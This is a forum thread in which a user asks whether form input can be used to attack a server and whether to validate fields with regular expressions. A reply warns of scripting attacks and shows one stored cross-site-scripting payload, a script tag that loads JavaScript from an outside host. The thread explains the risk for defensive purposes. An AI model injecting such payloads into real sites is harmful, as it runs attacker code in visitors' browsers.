Tek-Tips is the largest IT community on the Internet today!

Members share and learn making Tek-Tips Forums the best source of peer-reviewed technical information on the Internet!

  • Congratulations derfloh on being selected by the Tek-Tips community for having the most helpful posts in the forums last week. Way to Go!

Form Input & Hacking

Status
Not open for further replies.

uniopp

Technical User
Joined
Oct 7, 2001
Messages
152
Location
JP
Are there any characters or combination of characters that could be input into a html form to hack, cause server damage or access restricted data??
What I'm trying to determine is whether I should create regular expressions to limit what can and can't be input into my form fields?
Any advise would be much appreciated.
Thank you.
Simon.
 
HTML forms can be open to scripting attacks, where a schmuck decides to insert script commands.

Code:
<script language=&quot;JavaScript&quot; src=&quot;[URL unfurl="true"]http://myserver.com/scripts/STBU.js&quot;></script\>[/URL]

If this is stored to be echoed to the screen, the script will activate, whatever the payload.

There are other forms of scripting attacks, it'd be worthwhile to do a google on it

HTH ;P
 
Status
Not open for further replies.

Part and Inventory Search

Sponsor

Back
Top